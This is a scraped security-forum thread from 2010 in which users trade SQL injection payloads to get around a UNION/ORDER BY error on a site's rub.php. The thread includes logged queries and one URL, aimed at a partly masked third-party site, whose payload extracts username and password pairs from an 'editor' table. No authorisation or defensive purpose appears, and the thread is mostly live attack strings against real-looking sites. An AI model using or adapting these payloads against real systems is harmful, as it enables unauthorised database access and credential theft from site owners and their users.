Waraxe IT Security Portal
Login or Register
January 14, 2026
Menu
Home
Logout
Discussions
Forums
Members List
IRC chat
Tools
Base64 coder
MD5 hash
CRC32 checksum
ROT13 coder
SHA-1 hash
URL-decoder
Sql Char Encoder
Affiliates
y3dips ITsec
Md5 Cracker
User Manuals
AlbumNow
Content
Content
Sections
FAQ
Top
Info
Feedback
Recommend Us
Search
Journal
Your Account
User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9144

People Online:
Visitors: 66
Members: 0
Total: 66
Full disclosure
Defense in depth -- the Microsoft way (part 95): the (shared)"Start Menu" is dispensable
Re: Multiple Security Misconfigurations and CustomerEnumeration Exposure in Convercent Whistleblowing Platform(EQS Group)
RIOT OS 2026.01-devel-317 Stack-Based Buffer Overflow in RIOT ethos Serial Frame Parser
RIOT OS 2026.01-devel-317 Stack-Based Buffer Overflow in tapslip6 Utility via Unbounded Device Path Construction
TinyOS 2.1.2 Stack-Based Buffer Overflow in mcp2200gpio
TinyOS 2.1.2 printfUART Global Buffer Overflow via UnboundedFormat Expansion
KL-001-2026-01: yintibao Fun Print Mobile Unauthorized Access via Context Hijacking
Multiple Security Misconfigurations and Customer Enumeration Exposure in Convercent Whistleblowing Platform (EQS Group)
Panda3d v1.10.16 Uncontrolled Format String in Panda3D egg-mkfont Allows Stack Memory Disclosure
Panda3d v1.10.16 egg-mkfont Stack Buffer Overflow
Panda3d v1.10.16 deploy-stub Unbounded Stack Allocation Leading to Uninitialized Memory
MongoDB v8.3.0 Integer Underflow in LMDB mdb_load
Bioformats v8.3.0 Untrusted Deserialization of Bio-Formats Memoizer Cache Files
Bioformats v8.3.0 Improper Restriction of XML External Entity Reference in Bio-Formats Leica Microsystems XML Parser
MongoDB v8.3.0 Heap Buffer Underflow in OpenLDAP LMDB mdb_load
Log in Register Forum FAQ Memberlist Search
IT Security and Insecurity Portal

www.waraxe.us Forum Index -> Sql injection -> A little help
Post new topicReply to topic View previous topic :: View next topic
A little help
PostPosted: Wed Dec 08, 2010 2:26 pm Reply with quote
Nial
Advanced user
Advanced user
Joined: Feb 29, 2008
Posts: 103




Hi

I have a mysql error with
Code:
http://www.site.com/rub.php?id_rub=8&id_depart=100+union+all+select+1,2--+


showing the full request :
Code:
SELECT pa_annonces.* , pa_annonces.cp AS cp_bien, UNIX_TIMESTAMP(pa_annonces.date) AS monchampdate, users.id AS id_user, users.pseudo, users.mail_user, users.cp AS cp_user, users.tel AS tel_user, users.fax, users.siret, users.site_web, users.texte_url_pa, pa_transactions.transaction, pa_transactions.color, pa_rubriques.rubrique, pa_marques.marque, pa_energies.energie, pa_cylindrees.cylindree, pa_immobilier.type, pa_situations.situation FROM pa_annonces LEFT JOIN users ON pa_annonces.id_user=users.id LEFT JOIN pa_transactions ON pa_annonces.id_transaction=pa_transactions.id LEFT JOIN pa_rubriques ON pa_annonces.id_rubrique=pa_rubriques.id LEFT JOIN pa_marques ON pa_annonces.id_marque=pa_marques.id LEFT JOIN pa_energies ON pa_annonces.id_energie=pa_energies.id LEFT JOIN pa_cylindrees ON pa_annonces.id_cylindree=pa_cylindrees.id LEFT JOIN pa_immobilier ON pa_annonces.id_immobilier=pa_immobilier.id LEFT JOIN pa_situations ON pa_annonces.id_situation=pa_situations.id WHERE pa_annonces.valide='1' AND pa_annonces.id_rubrique='8' ORDER BY pa_annonces.top DESC, pa_annonces.date DESC LIMIT 100 union all select 1,2-- ,20


with the error :
Code:
Incorrect usage of UNION and ORDER BY


But i dont have a clue about how inserting my request after this Order BY and LIMIT...
If someone could help me, it would be great !

Thanks !
View user's profile Send private message
PostPosted: Wed Dec 08, 2010 2:36 pm Reply with quote
pink_spider
Advanced user
Advanced user
Joined: Aug 28, 2010
Posts: 91




test:

Code:
http://www.site.com/rub.php?id_rub=8&id_depart=100+and+(1)=(union+(select+1,2))--
View user's profile Send private message Send e-mail Visit poster's website MSN Messenger
PostPosted: Wed Dec 08, 2010 2:58 pm Reply with quote
Nial
Advanced user
Advanced user
Joined: Feb 29, 2008
Posts: 103




Thanks for your help but it doesnt work.
here is the sql log :
Code:
SELECT pa_annonces.* , pa_annonces.cp AS cp_bien, UNIX_TIMESTAMP(pa_annonces.date) AS monchampdate, users.id AS id_user, users.pseudo, users.mail_user, users.cp AS cp_user, users.tel AS tel_user, users.fax, users.siret, users.site_web, users.texte_url_pa, pa_transactions.transaction, pa_transactions.color, pa_rubriques.rubrique, pa_marques.marque, pa_energies.energie, pa_cylindrees.cylindree, pa_immobilier.type, pa_situations.situation FROM pa_annonces LEFT JOIN users ON pa_annonces.id_user=users.id LEFT JOIN pa_transactions ON pa_annonces.id_transaction=pa_transactions.id LEFT JOIN pa_rubriques ON pa_annonces.id_rubrique=pa_rubriques.id LEFT JOIN pa_marques ON pa_annonces.id_marque=pa_marques.id LEFT JOIN pa_energies ON pa_annonces.id_energie=pa_energies.id LEFT JOIN pa_cylindrees ON pa_annonces.id_cylindree=pa_cylindrees.id LEFT JOIN pa_immobilier ON pa_annonces.id_immobilier=pa_immobilier.id LEFT JOIN pa_situations ON pa_annonces.id_situation=pa_situations.id WHERE pa_annonces.valide='1' AND pa_annonces.id_rubrique='8' ORDER BY pa_annonces.top DESC, pa_annonces.date DESC LIMIT 100 and (1)=(union (select 1,2))--,20


and then, the error :
Code:
Syntax error near 'and (1)=(union (select 1,2))--,20'
View user's profile Send private message
PostPosted: Fri Dec 10, 2010 3:58 am Reply with quote
Despotic
Active user
Active user
Joined: Nov 17, 2010
Posts: 42




Are you sure there are only 2? (ie 1,2--) There may be more.
take a look at this. It might help.
Code:

http://www.co-p**n.org/egug/rub.php?idr=7+and+1=2+union+all+select+1,2,3,concat(username,char(58),password),5,6,7,8,9+from+editor--&l=a


and drop the "ALL" from your union select statement.
View user's profile Send private message
PostPosted: Mon Dec 13, 2010 9:10 am Reply with quote
waraxe
Site admin
Site admin
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




Sql injection after ORDER BY and LIMIT is not exploitable in most cases. INSERT INTO may be possible, if "magic_quotes_gpc=off" and FILE privileges are available. PROCEDURE may be useful in some rare cases.
View user's profile Send private message Send e-mail Visit poster's website
A little help
www.waraxe.us Forum Index -> Sql injection
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
All times are GMT
Page 1 of 1

Post new topicReply to topic


Powered by phpBB © 2001-2008 phpBB Group



PCWizardHub - Helping you fix, build, and optimize your PC life
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2024 Janek Vind "waraxe"
Page Generation: 0.034 Seconds